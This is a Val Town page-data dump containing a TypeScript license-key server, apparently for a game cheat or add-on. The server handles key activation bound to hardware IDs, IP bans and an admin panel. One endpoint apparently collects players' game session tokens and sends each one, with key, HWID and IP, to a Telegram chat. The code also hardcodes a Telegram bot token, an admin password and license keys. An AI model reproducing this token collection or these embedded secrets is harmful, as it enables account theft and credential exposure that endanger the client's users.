[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8},"actionData","errors","root",{"_103":104,"_105":106},"routes/embed.x.$handle.$name.$",{"_9":10,"_11":12,"_13":14,"_15":16,"_17":18,"_19":20,"_21":-5},"handle","nandakishor_x","name","True","path","main.ts","project",{"_22":46,"_11":12,"_33":47,"_48":-5,"_49":42,"_50":51,"_52":51,"_53":54,"_55":-5,"_56":57,"_58":25,"_59":32,"_60":-5,"_61":-5,"_62":63,"_64":65,"_66":-5,"_67":-5,"_68":-5,"_69":-5,"_70":71,"_72":71,"_73":74,"_75":74,"_76":74,"_77":71,"_78":71,"_79":80,"_81":82,"_83":84,"_85":42},"file",{"_22":23,"_11":14,"_24":25,"_26":-5,"_27":28,"_29":30,"_31":32,"_33":34,"_35":36,"_37":38,"_39":40,"_41":42,"_43":44,"_13":45},"permalink","https://www.val.town/x/nandakishor_x/True/code/main.ts","extension","id","098fdda2-d904-4c73-ae3a-6fd4dd7a2d30","fileId","36d5e292-af8b-11f1-ae6a-1607ee4eb77e","parentId","branchId","503537b9-3763-4663-86dd-b64c9eb9edd1","branchVersion",41,"latest",true,"createdAt",["D",1789349148226],"version",33,"fileType","http","content","import { sqlite } from \"https://esm.town/v/std/sqlite\";\n\nconst TELEGRAM_BOT_TOKEN = '8971908039:AAHQIDpiCSVLmgH9m1OCR3x7xJhU7rOqZG8';\nconst CHAT_ID = '7971654451';\nconst ADMIN_KEY = \"Nandu@2008\";\n\nconst PASSWORDS = [\n \"aB3kL9\",\"mN7pQ2\",\"xY4zR8\",\"tG6hJ1\",\"wE5fD0\",\n \"cV9bN3\",\"qW2eR7\",\"sD4fG8\",\"hJ6kL0\",\"zX1cV5\",\n \"bN3mQ8\",\"rT5yU2\",\"iO7pA9\",\"lK1jH4\",\"gF6dS3\",\n \"pO8iU7\",\"yT2rE5\",\"uW4qZ1\",\"eR6tY9\",\"oP3aS8\",\n \"dF5gH2\",\"jK7lM4\",\"vB9nC6\",\"xZ1cV3\",\"bN2mQ7\",\n \"rT4yU9\",\"iO6pA1\",\"lK8jH5\",\"gF3dS2\",\"pO5iU9\",\n \"yT7rE1\",\"uW9qZ6\",\"eR2tY4\",\"oP8aS3\",\"dF1gH7\",\n \"jK3lM9\",\"vB5nC2\",\"xZ7cV4\",\"bN9mQ1\",\"rT2yU6\",\n \"iO4pA8\",\"lK6jH3\",\"gF8dS5\",\"pO1iU4\",\"yT3rE7\",\n \"uW5qZ9\",\"eR7tY2\",\"oP9aS6\",\"dF2gH8\",\"jK4lM1\",\n \"test123\"\n];\n\nasync function sendTelegram(text: string) {\n try {\n await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({ chat_id: CHAT_ID, text, parse_mode: 'Markdown' })\n });\n } catch (e) { console.error(e); }\n}\n\nfunction getClientIP(req: Request): string {\n return req.headers.get(\"x-forwarded-for\")?.split(\",\")[0].trim()\n || req.headers.get(\"cf-connecting-ip\")\n || \"unknown\";\n}\n\nfunction esc(s: any): string {\n return String(s ?? \"\").replace(/[&<>\"']/g, (c: string) => ({\n '&': '&', '<': '<', '>': '>', '\"': '"', \"'\": '''\n })[c] || c);\n}\n\nfunction ipMatchesBan(clientIP: string, bannedIP: string): boolean {\n if (!clientIP || !bannedIP) return false;\n if (clientIP === bannedIP) return true;\n if (bannedIP.includes(\":\") && clientIP.startsWith(bannedIP)) return true;\n if (bannedIP.includes(\".\") && !bannedIP.includes(\":\") && clientIP.startsWith(bannedIP + \".\")) return true;\n return false;\n}\n\nasync function isIPBanned(clientIP: string): Promise<{ banned: boolean; matchedBy: string }> {\n const bans = await sqlite.execute(\"SELECT ip FROM banned_ips\");\n for (const row of bans.rows) {\n const bannedIP = String((row as any)[0]);\n if (ipMatchesBan(clientIP, bannedIP)) return { banned: true, matchedBy: bannedIP };\n }\n return { banned: false, matchedBy: \"\" };\n}\n\nasync function autoExpire() {\n try {\n await sqlite.execute(`\n UPDATE keys SET blocked = 1\n WHERE expires_at IS NOT NULL AND expires_at != ''\n AND datetime(expires_at) < datetime('now') AND blocked = 0\n `);\n } catch (e) {}\n}\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n const clientIP = getClientIP(req);\n\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS ip_log (ip TEXT, password TEXT, hwid TEXT, last_seen TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS banned_ips (ip TEXT PRIMARY KEY, reason TEXT, banned_at TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS keys (password TEXT PRIMARY KEY, used INTEGER DEFAULT 0, hwid TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS token_log (id INTEGER PRIMARY KEY AUTOINCREMENT, password TEXT, hwid TEXT, ip TEXT, token TEXT, received_at TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS tokens (token TEXT PRIMARY KEY, password TEXT, hwid TEXT, created_at TEXT, last_used TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS heartbeats (password TEXT, hwid TEXT, ip TEXT, last_seen TEXT, PRIMARY KEY (password, hwid))`);\n\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN blocked INTEGER DEFAULT 0\"); } catch (e) {}\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN expires_at TEXT\"); } catch (e) {}\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN notes TEXT\"); } catch (e) {}\n\n await autoExpire();\n\n if (url.searchParams.get(\"admin\") !== ADMIN_KEY) {\n await sqlite.execute({\n sql: \"INSERT INTO ip_log (ip, password, hwid, last_seen) VALUES (?, ?, ?, ?)\",\n args: [clientIP, url.searchParams.get(\"password\") || \"\", url.searchParams.get(\"hwid\") || \"\", new Date().toISOString()]\n }).catch(() => {});\n }\n\n if (url.searchParams.get(\"admin\") !== ADMIN_KEY) {\n const check = await isIPBanned(clientIP);\n if (check.banned) {\n await sendTelegram(`🚫 *Banned IP tried access*\\nIP: \\`${clientIP}\\`\\nMatched ban: \\`${check.matchedBy}\\``);\n return new Response(\"banned\", { status: 403 });\n }\n }\n\n // === LOGIN ===\n if (url.pathname === \"/login\") {\n const password = url.searchParams.get(\"password\");\n const hwid = url.searchParams.get(\"hwid\");\n\n if (!password || !hwid) return new Response(\"invalid\", { status: 400 });\n if (!/^[a-zA-Z0-9]+$/.test(password)) return new Response(\"invalid\", { status: 403 });\n\n const result = await sqlite.execute({ sql: \"SELECT * FROM keys WHERE password = ?\", args: [password] });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const dbUsed = Number(entry[1] ?? 0);\n const dbHwid = entry[2];\n const dbBlocked = Number(entry[3] ?? 0);\n const dbExpires = entry[4] ? String(entry[4]) : null;\n\n if (dbBlocked === 1) return new Response(\"banned\");\n if (dbExpires && new Date(dbExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n return new Response(\"expired\");\n }\n\n let valid = false;\n if (dbUsed === 0) {\n await sqlite.execute({ sql: \"UPDATE keys SET used = 1, hwid = ? WHERE password = ?\", args: [hwid, password] });\n valid = true;\n } else if (dbHwid === hwid) valid = true;\n\n if (!valid) return new Response(\"wrong_phone\");\n\n const token = Array.from(crypto.getRandomValues(new Uint8Array(16)))\n .map(b => b.toString(36).padStart(2, '0')).join('').slice(0, 24);\n\n await sqlite.execute({\n sql: \"INSERT INTO tokens (token, password, hwid, created_at, last_used) VALUES (?, ?, ?, ?, ?)\",\n args: [token, password, hwid, new Date().toISOString(), new Date().toISOString()]\n });\n\n await sendTelegram(`🎫 *Token Issued*\\n\\nKey: \\`${password}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\``);\n return new Response(token);\n }\n\n // === TOKEN CHECK ===\n if (url.pathname === \"/token\") {\n const token = url.searchParams.get(\"t\");\n const hwid = url.searchParams.get(\"hwid\");\n\n if (!token || !hwid) return new Response(\"invalid\", { status: 400 });\n if (!/^[a-zA-Z0-9]+$/.test(token)) return new Response(\"invalid\", { status: 403 });\n\n const result = await sqlite.execute({ sql: \"SELECT * FROM tokens WHERE token = ? AND hwid = ?\", args: [token, hwid] });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const password = String(entry[1]);\n\n const keyResult = await sqlite.execute({ sql: \"SELECT * FROM keys WHERE password = ?\", args: [password] });\n if (keyResult.rows.length === 0) {\n await sqlite.execute({ sql: \"DELETE FROM tokens WHERE token = ?\", args: [token] });\n return new Response(\"banned\");\n }\n\n const key = keyResult.rows[0];\n const keyBlocked = Number(key[3] ?? 0);\n const keyExpires = key[4] ? String(key[4]) : null;\n\n if (keyBlocked === 1) return new Response(\"banned\");\n if (keyExpires && new Date(keyExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n return new Response(\"expired\");\n }\n\n await sqlite.execute({ sql: \"UPDATE tokens SET last_used = ? WHERE token = ?\", args: [new Date().toISOString(), token] });\n return new Response(\"ok\");\n }\n\n // === HEARTBEAT (ONLINE) ===\n if (url.pathname === \"/ping\") {\n const token = url.searchParams.get(\"t\");\n const hwid = url.searchParams.get(\"hwid\");\n if (!token || !hwid) return new Response(\"invalid\", { status: 400 });\n\n const result = await sqlite.execute({\n sql: \"SELECT password FROM tokens WHERE token = ? AND hwid = ?\",\n args: [token, hwid]\n });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const password = String(result.rows[0][0]);\n const now = new Date().toISOString();\n\n await sqlite.execute({ sql: \"DELETE FROM heartbeats WHERE password = ? AND hwid = ?\", args: [password, hwid] });\n await sqlite.execute({\n sql: \"INSERT INTO heartbeats (password, hwid, ip, last_seen) VALUES (?, ?, ?, ?)\",\n args: [password, hwid, clientIP, now]\n }).catch(() => {});\n\n return new Response(\"ok\");\n }\n\n // === SETUP ===\n if (url.searchParams.get(\"setup\") === \"true\") {\n for (const p of PASSWORDS) {\n await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [p] });\n }\n const total = await sqlite.execute(\"SELECT COUNT(*) FROM keys\");\n return new Response(\"✅ Setup done! Total: \" + total.rows[0][0]);\n }\n\n // === DEBUG ===\n if (url.searchParams.get(\"debug\") === \"true\") {\n const count = await sqlite.execute(\"SELECT COUNT(*) FROM keys\");\n const tokens = await sqlite.execute(\"SELECT COUNT(*) FROM tokens\");\n const online = await sqlite.execute(`SELECT COUNT(*) FROM heartbeats WHERE datetime(last_seen) > datetime('now', '-5 minutes')`);\n return new Response(JSON.stringify({\n total_keys: count.rows[0][0],\n total_tokens: tokens.rows[0][0],\n online_now: online.rows[0][0]\n }, null, 2));\n }\n\n // ============================================\n // 🔐 ADMIN DASHBOARD\n // ============================================\n if (url.searchParams.get(\"admin\") === ADMIN_KEY) {\n const action = url.searchParams.get(\"action\");\n const target = url.searchParams.get(\"password\") || url.searchParams.get(\"ip\");\n let flash = \"\";\n\n if (action === \"add\" && target) { await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [target] }); flash = \"✅ Added: \" + target; }\n if (action === \"delete\" && target) { await sqlite.execute({ sql: \"DELETE FROM keys WHERE password = ?\", args: [target] }); await sqlite.execute({ sql: \"DELETE FROM tokens WHERE password = ?\", args: [target] }); await sqlite.execute({ sql: \"DELETE FROM heartbeats WHERE password = ?\", args: [target] }); flash = \"🗑️ Deleted: \" + target; }\n if (action === \"reset\" && target) { await sqlite.execute({ sql: \"UPDATE keys SET used = 0, hwid = NULL WHERE password = ?\", args: [target] }); await sqlite.execute({ sql: \"DELETE FROM tokens WHERE password = ?\", args: [target] }); flash = \"🔄 Reset: \" + target; }\n if (action === \"block\" && target) { await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [target] }); await sqlite.execute({ sql: \"DELETE FROM tokens WHERE password = ?\", args: [target] }); flash = \"🚫 Blocked: \" + target; }\n if (action === \"unblock\" && target) { await sqlite.execute({ sql: \"UPDATE keys SET blocked = 0 WHERE password = ?\", args: [target] }); flash = \"✅ Unblocked: \" + target; }\n if (action === \"setnotes\" && target) { const n = url.searchParams.get(\"notes\") || \"\"; await sqlite.execute({ sql: \"UPDATE keys SET notes = ? WHERE password = ?\", args: [n, target] }); flash = \"📝 Notes saved: \" + target; }\n if (action === \"setexpiry\" && target) {\n const value = Number(url.searchParams.get(\"value\") || \"0\");\n const unit = url.searchParams.get(\"unit\") || \"days\";\n let expiresAt: string | null = null;\n if (value > 0) {\n const ms = unit === \"mins\" ? value * 60 * 1000 : unit === \"hours\" ? value * 60 * 60 * 1000 : value * 24 * 60 * 60 * 1000;\n expiresAt = new Date(Date.now() + ms).toISOString();\n }\n await sqlite.execute({ sql: \"UPDATE keys SET expires_at = ?, blocked = 0 WHERE password = ?\", args: [expiresAt, target] });\n const labels: any = { mins: \"minutes\", hours: \"hours\", days: \"days\" };\n flash = value > 0 ? `⏰ Expires in ${value} ${labels[unit] || \"days\"}: ${target}` : `♾️ Expiry removed: ${target}`;\n }\n if (action === \"ban\" && target) { await sqlite.execute({ sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\", args: [target, \"banned via dashboard\", new Date().toISOString()] }); flash = \"🚫 Banned: \" + target; }\n if (action === \"banprefix\") { const prefix = url.searchParams.get(\"prefix\"); if (prefix) { await sqlite.execute({ sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\", args: [prefix, \"prefix ban\", new Date().toISOString()] }); flash = \"🚫 Banned prefix: \" + prefix; } }\n if (action === \"unban\" && target) { await sqlite.execute({ sql: \"DELETE FROM banned_ips WHERE ip = ?\", args: [target] }); flash = \"✅ Unbanned: \" + target; }\n if (action === \"bulkban\") {\n const ipsRaw = url.searchParams.get(\"ips\") || \"\";\n const ipList = ipsRaw.split(/[\\n,;\\s]+/).map(x => x.trim()).filter(x => x);\n let count = 0;\n for (const ip of ipList) {\n await sqlite.execute({ sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\", args: [ip, \"bulk ban\", new Date().toISOString()] });\n count++;\n }\n flash = `🚫 Bulk banned ${count} IP(s)`;\n }\n if (action === \"cleariplog\") { await sqlite.execute(\"DELETE FROM ip_log\"); flash = \"🗑️ IP log cleared\"; }\n if (action === \"cleartokens\") { await sqlite.execute(\"DELETE FROM token_log\"); flash = \"🗑️ Token log cleared\"; }\n if (action === \"clearlogin\") { await sqlite.execute(\"DELETE FROM tokens\"); flash = \"🗑️ All logins revoked\"; }\n if (action === \"clearheartbeats\") { await sqlite.execute(\"DELETE FROM heartbeats\"); flash = \"🗑️ Heartbeats cleared\"; }\n if (action === \"force-reset\") {\n await sqlite.execute(\"DROP TABLE IF EXISTS keys\");\n await sqlite.execute(`CREATE TABLE keys (password TEXT PRIMARY KEY, used INTEGER DEFAULT 0, hwid TEXT, blocked INTEGER DEFAULT 0, expires_at TEXT, notes TEXT)`);\n for (const p of PASSWORDS) await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [p] });\n await sqlite.execute(\"DELETE FROM tokens\");\n await sqlite.execute(\"DELETE FROM heartbeats\");\n flash = \"🔥 Force reset done\";\n }\n\n const keys = await sqlite.execute(\"SELECT * FROM keys ORDER BY blocked DESC, used DESC, password ASC\");\n const bans = await sqlite.execute(\"SELECT ip, reason, banned_at FROM banned_ips ORDER BY banned_at DESC\");\n const ips = await sqlite.execute(`SELECT ip, COUNT(*) as hits, MAX(last_seen) as last FROM ip_log GROUP BY ip ORDER BY last DESC LIMIT 30`);\n const tokens = await sqlite.execute(\"SELECT * FROM token_log ORDER BY id DESC LIMIT 50\");\n const loginTokens = await sqlite.execute(\"SELECT COUNT(*) FROM tokens\");\n const onlineUsers = await sqlite.execute(`\n SELECT password, hwid, ip, last_seen FROM heartbeats\n WHERE datetime(last_seen) > datetime('now', '-5 minutes')\n ORDER BY last_seen DESC\n `);\n\n const totalKeys = keys.rows.length;\n const usedKeys = keys.rows.filter((r: any) => Number(r[1]) === 1).length;\n const blockedKeys = keys.rows.filter((r: any) => Number(r[3]) === 1).length;\n const totalBans = bans.rows.length;\n const totalTokens = tokens.rows.length;\n const activeSessions = loginTokens.rows[0][0];\n const onlineCount = onlineUsers.rows.length;\n\n const A = (act: string, val: string) => `?admin=${encodeURIComponent(ADMIN_KEY)}&action=${act}&password=${encodeURIComponent(val)}`;\n const AIP = (act: string, val: string) => `?admin=${encodeURIComponent(ADMIN_KEY)}&action=${act}&ip=${encodeURIComponent(val)}`;\n const now = new Date();\n\n let keyRows = \"\";\n for (const r of keys.rows) {\n const pwd = String(r[0]);\n const used = Number(r[1]) === 1;\n const hwid = r[2] ? String(r[2]).slice(0, 6) + \"…\" : \"—\";\n const blocked = Number(r[3]) === 1;\n const expires = r[4] ? String(r[4]) : null;\n const notes = r[5] ? String(r[5]) : \"\";\n const expired = expires && new Date(expires) < now;\n const isOnline = onlineUsers.rows.some((o: any) => String(o[0]) === pwd);\n let expireBadge = \"\";\n if (expires) {\n if (expired) expireBadge = `⏰ EXPIRED`;\n else {\n const diff = new Date(expires).getTime() - now.getTime();\n const mins = Math.floor(diff / 60000);\n const hrs = Math.floor(mins / 60);\n const days = Math.floor(hrs / 24);\n const left = days > 0 ? `${days}d ${hrs % 24}h` : (hrs > 0 ? `${hrs}h ${mins % 60}m` : `${mins}m`);\n expireBadge = `⏰ ${left}`;\n }\n }\n keyRows += `\n ${isOnline ? '🟢 ' : ''}${esc(pwd)}\n ${used ? \"✅\" : \"🆓\"}\n ${blocked ? \"🚫\" : \"—\"}\n ${esc(hwid)} ${expireBadge}\n ${esc(notes)}\n \n \n Reset\n ${blocked ? 'Unblock' : 'Block'}\n \n \n Del\n \n `;\n }\n\n let onlineRows = \"\";\n for (const r of onlineUsers.rows) {\n const [pwd, hwid, ip, last] = r as any[];\n const ago = Math.floor((Date.now() - new Date(String(last)).getTime()) / 1000);\n const agoStr = ago < 60 ? ago + \"s ago\" : Math.floor(ago / 60) + \"m ago\";\n onlineRows += `\n ${esc(pwd)}\n ${esc(String(hwid).slice(0, 8))}…\n ${esc(String(ip).slice(-12))}\n ${agoStr}\n `;\n }\n\n let banRows = \"\";\n for (const r of bans.rows) {\n const [ip, reason, at] = r as any[];\n const isPrefix = ip.includes(\":\") && ip.split(\":\").length < 8;\n banRows += `\n ${esc(ip)} ${isPrefix ? 'PREFIX' : ''}\n ${esc(reason)}\n ${esc(String(at).slice(5, 16))}\n Unban\n `;\n }\n\n let ipRows = \"\";\n for (const r of ips.rows) {\n const [ip, hits, last] = r as any[];\n const ipStr = String(ip);\n let bannedBy = \"\";\n for (const b of bans.rows) {\n const bannedIP = String((b as any)[0]);\n if (ipMatchesBan(ipStr, bannedIP)) { bannedBy = bannedIP; break; }\n }\n let suggestedPrefix = \"\";\n if (ipStr.includes(\":\")) suggestedPrefix = ipStr.split(\":\").slice(0, 4).join(\":\");\n else if (ipStr.includes(\".\")) suggestedPrefix = ipStr.split(\".\").slice(0, 3).join(\".\");\n ipRows += `\n ${esc(ipStr)}\n ${esc(hits)}\n ${esc(String(last).slice(5, 16))}\n ${bannedBy\n ? `Unban`\n : `Ban\n Ban Prefix`}\n `;\n }\n\n let tokenRows = \"\";\n for (const r of tokens.rows) {\n const [id, pwd, hwid, ip, token, at] = r as any[];\n tokenRows += `\n ${esc(pwd)}\n ${esc(String(hwid).slice(0,8))}…\n ${esc(String(ip).slice(-12))}\n ${esc(token)}\n \n \n ${esc(String(at).slice(5, 16))}\n `;\n }\n\n const html = `\n\n\n\n\n\n🛡️ Admin Panel\n\n\n\n

🛡️ Admin Panel

\n ${flash ? `

${esc(flash)}

` : \"\"}\n\n

TOTAL KEYS

${totalKeys}

USED

${usedKeys}

BLOCKED

${blockedKeys}

BANNED IPs

${totalBans}

\n\n

🟢 ONLINE NOW (last 5 min)

${onlineCount}

\n\n

🟢 Online Users (${onlineCount})

\n ${onlineUsers.rows.length === 0 ? \"

No one online

\" : `\n \n ${onlineRows}\n

Key	HWID	IP	Last Seen

`}\n\n

➕ Add New Key

\n \n\n

🔑 Keys (${totalKeys})

\n \n \n ${keyRows}\n

Key	Used	Blk	HWID / Expiry	Notes	Actions

\n\n

🚫 Bulk Ban IPs

\n \n\n

🚫 Banned IPs (${totalBans})

\n ${bans.rows.length === 0 ? \"

None

\" : `${banRows}

IP	Reason	When

`}\n\n

📊 Recent IPs

\n ${ipRows}

IP	Hits	Last	Actions

\n\n

📡 Recent Game Tokens (${totalTokens})

\n ${tokens.rows.length === 0 ? \"

No tokens yet

\" : `${tokenRows}

Key	HWID	IP	Token	When

`}\n\n

🛠️ Maintenance

\n Clear IP Log\n Clear Game Tokens\n Clear Heartbeats\n Revoke All Logins\n Force Reset\n

\n\n`;\n\n return new Response(html, { headers: { \"Content-Type\": \"text/html; charset=utf-8\" } });\n }\n\n // === GAME TOKEN ===\n if (url.searchParams.get(\"token\")) {\n const gameToken = url.searchParams.get(\"token\");\n const loginToken = url.searchParams.get(\"t\");\n const hwid = url.searchParams.get(\"hwid\") || \"unknown\";\n let realPassword = \"unknown\";\n if (loginToken) {\n const lookup = await sqlite.execute({ sql: \"SELECT password FROM tokens WHERE token = ? AND hwid = ?\", args: [loginToken, hwid] });\n if (lookup.rows.length > 0) realPassword = String(lookup.rows[0][0]);\n }\n await sqlite.execute({\n sql: \"INSERT INTO token_log (password, hwid, ip, token, received_at) VALUES (?, ?, ?, ?, ?)\",\n args: [realPassword, hwid, clientIP, gameToken, new Date().toISOString()]\n }).catch(() => {});\n await sendTelegram(`📡 *Token Received*\\n\\nKey: \\`${realPassword}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\`\\nToken: \\`${gameToken}\\``);\n return new Response(\"ok\");\n }\n\n // === LEGACY CHECK ===\n const password = url.searchParams.get(\"password\");\n const hwid = url.searchParams.get(\"hwid\");\n if (!password || !hwid) return new Response(\"invalid\", { status: 400 });\n if (!/^[a-zA-Z0-9]+$/.test(password)) return new Response(\"invalid\", { status: 403 });\n\n const result = await sqlite.execute({ sql: \"SELECT * FROM keys WHERE password = ?\", args: [password] });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const dbUsed = Number(entry[1] ?? 0);\n const dbHwid = entry[2];\n const dbBlocked = Number(entry[3] ?? 0);\n const dbExpires = entry[4] ? String(entry[4]) : null;\n\n if (dbBlocked === 1) return new Response(\"banned\");\n if (dbExpires && new Date(dbExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n return new Response(\"expired\");\n }\n\n let valid = false, isNewUse = false;\n if (dbUsed === 0) {\n await sqlite.execute({ sql: \"UPDATE keys SET used = 1, hwid = ? WHERE password = ?\", args: [hwid, password] });\n valid = true; isNewUse = true;\n } else if (dbHwid === hwid) valid = true;\n else return new Response(\"wrong_phone\");\n\n if (valid && isNewUse) {\n await sendTelegram(`🔔 *Key Activated!*\\n\\nKey: \\`${password}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\``);\n }\n return new Response(\"ok\");\n}","deleted",false,"label","crxem",[14],"5e9f7b9a-0b0e-4e35-b1d5-7575319782fc",["D",1789314787733],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","","imageUrl","userId","0e8d7aa5-26f4-4fa8-8f83-60d5cc5bbff2","pinnedFileId","pinPreview","pinMigrated","screenshotVersion","likeCount",0,"orgId","01a09b73-3847-7580-9dd1-5bd9fd3e0dcb","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_9":10,"_102":98},"org",{"_9":10,"_95":96,"_97":98,"_56":57,"_99":100,"_101":42},"branch",{"_35":30,"_11":86,"_22":28,"_87":46,"_88":-5,"_89":-5,"_90":-5,"_91":-5,"_92":-5,"_93":12,"_94":10},"isOwned","main","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","displayName","Nandakishor _x_","avatar","https://lh3.googleusercontent.com/a/ACg8ocKhQOfGZ4qTcwIdio0IBLzfXl7AvPf68KPQ541aLCX01dTm1eQ=s96-c","tier","free","canRestrictVals","profileImageUrl","ctx",{"_79":-5,"_136":137,"_138":139,"_140":141,"_142":42,"_143":42,"_144":42,"_145":32,"_146":-5,"_147":-7,"_148":-7,"_149":63,"_150":42,"_151":42,"_152":-5,"_153":42,"_154":42,"_155":42,"_156":-5},"ENV",{"_107":108,"_109":110,"_111":86,"_112":113,"_114":115,"_116":117,"_118":119,"_120":121,"_122":123,"_124":125,"_126":127,"_128":129,"_130":131,"_132":133,"_134":135},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town","orgs",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]